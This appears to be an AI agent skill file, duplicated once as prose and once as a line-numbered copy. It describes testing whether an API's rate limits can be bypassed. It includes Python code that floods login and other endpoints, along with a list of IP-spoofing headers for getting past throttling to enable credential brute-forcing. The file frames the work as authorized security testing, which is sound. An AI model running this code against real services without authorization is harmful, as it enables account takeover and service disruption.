Performing API Rate Limiting Bypass
When to Use
- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints
- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration
- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats
- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation
- Validating that rate limits protect against resource exhaustion and denial-of-service conditions
Do not use without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.
Prerequisites
- Written authorization specifying target endpoints and acceptable request volumes
- Python 3.10+ with
requests, aiohttp, and asyncio libraries
- Burp Suite Professional with Turbo Intruder extension for high-speed testing
- cURL for manual header manipulation testing
- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)
- List of rate-limit bypass headers to test
Workflow
Step 1: Rate Limit Discovery and Baseline
Identify how rate limiting is implemented:
import requests
import time
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
results = []
for i in range(count):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
rate_headers = {
"limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
"remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
"reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
"retry_after": resp.headers.get("Retry-After"),
"status": resp.status_code
}
results.append(rate_headers)
if resp.status_code == 429:
print(f"Rate limited at request {i+1}: {rate_headers}")
return results, i+1
time.sleep(0.05) # Small delay to avoid connection issues
print(f"No rate limit triggered after {count} requests")
return results, count
# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)
print(f"\nRate Limit Summary:")
print(f" Login: Triggered at request {login_threshold}")
print(f" API: Triggered at request {api_threshold}")
print(f" Search: Triggered at request {search_threshold}")
Step 2: IP-Based Bypass Techniques
# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
"X-Forwarded-For",
"X-Real-IP",
"X-Original-Forwarded-For",
"X-Originating-IP",
"X-Remote-IP",
"X-Remote-Addr",
"X-Client-IP",
"X-Host",
"X-Forwarded-Host",
"True-Client-IP",
"Cluster-Client-IP",
"X-ProxyUser-Ip",
"Forwarded",
"CF-Connecting-IP",
"Fastly-Client-IP",
"X-Azure-ClientIP",
"X-Akamai-Client-IP",
]
def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
"""Test if IP spoofing headers bypass rate limiting."""
# First, trigger the rate limit normally
for i in range(200):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
if resp.status_code == 429:
print(f"Rate limit triggered at request {i+1}")
break
# Now test each spoofing header
bypasses_found = []
for header in IP_SPOOFING_HEADERS:
spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
if resp.status_code != 429:
bypasses_found.append(header)
print(f"[BYPASS] {header} -> {resp.status_code}")
return bypasses_found
login_body = {"username": "test@example.com", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)
📎 Detailed content (full examples / references / data tables) has been split into reference.md in the same directory; use Read to load the relevant section on demand.
1---2name: performing-api-rate-limiting-bypass3description: "Test API rate limiting for bypass vulnerabilities using Python requests/aiohttp. Signals: api attack, rate-limit bypass."4zh-signals: "Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) 信号:api攻击,限流绕过。"5when-to-use: 'Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp)6 and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing),7 IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:20238 Unrestricted Resource Consumption. Use when assessing, under written authorization,9 whether rate limits can be bypassed to enable brute force or resource-exhaustion10 attacks.1112 '13domain: cybersecurity14subdomain: api-security15tags:16- api-security17- owasp18- rate-limiting19- throttling20- brute-force21- dos-prevention22version: 1.0.023author: mahipal24license: Apache-2.025nist_csf:26- PR.PS-0127- ID.RA-0128- PR.DS-1029- DE.CM-0130mitre_attack:31- T119032- T1059.00733- T1552.00134- T102735- T105536metadata:37 source: https://skillmd.com/skills/dangeroussong/performing-api-rate-limiting-bypass38---3940# Performing API Rate Limiting Bypass4142## When to Use4344- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints45- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration46- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats47- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation48- Validating that rate limits protect against resource exhaustion and denial-of-service conditions4950**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.5152## Prerequisites5354- Written authorization specifying target endpoints and acceptable request volumes55- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries56- Burp Suite Professional with Turbo Intruder extension for high-speed testing57- cURL for manual header manipulation testing58- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)59- List of rate-limit bypass headers to test6061## Workflow6263### Step 1: Rate Limit Discovery and Baseline6465Identify how rate limiting is implemented:6667```python68import requests69import time7071BASE_URL = "https://target-api.example.com/api/v1"72headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}7374# Send requests and track rate limit headers75def probe_rate_limit(endpoint, method="GET", count=100):76 results = []77 for i in range(count):78 resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)79 rate_headers = {80 "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),81 "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),82 "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),83 "retry_after": resp.headers.get("Retry-After"),84 "status": resp.status_code85 }86 results.append(rate_headers)87 if resp.status_code == 429:88 print(f"Rate limited at request {i+1}: {rate_headers}")89 return results, i+190 time.sleep(0.05) # Small delay to avoid connection issues91 print(f"No rate limit triggered after {count} requests")92 return results, count9394# Test key endpoints95login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)96api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)97search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)9899print(f"\nRate Limit Summary:")100print(f" Login: Triggered at request {login_threshold}")101print(f" API: Triggered at request {api_threshold}")102print(f" Search: Triggered at request {search_threshold}")103```104105### Step 2: IP-Based Bypass Techniques106107```python108# Bypass Technique 1: Header-based IP spoofing109IP_SPOOFING_HEADERS = [110 "X-Forwarded-For",111 "X-Real-IP",112 "X-Original-Forwarded-For",113 "X-Originating-IP",114 "X-Remote-IP",115 "X-Remote-Addr",116 "X-Client-IP",117 "X-Host",118 "X-Forwarded-Host",119 "True-Client-IP",120 "Cluster-Client-IP",121 "X-ProxyUser-Ip",122 "Forwarded",123 "CF-Connecting-IP",124 "Fastly-Client-IP",125 "X-Azure-ClientIP",126 "X-Akamai-Client-IP",127]128129def test_ip_spoofing_bypass(endpoint, method="POST", body=None):130 """Test if IP spoofing headers bypass rate limiting."""131 # First, trigger the rate limit normally132 for i in range(200):133 resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)134 if resp.status_code == 429:135 print(f"Rate limit triggered at request {i+1}")136 break137138 # Now test each spoofing header139 bypasses_found = []140 for header in IP_SPOOFING_HEADERS:141 spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}142 resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)143 if resp.status_code != 429:144 bypasses_found.append(header)145 print(f"[BYPASS] {header} -> {resp.status_code}")146147 return bypasses_found148149login_body = {"username": "test@example.com", "password": "wrongpassword"}150bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)151```152153> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.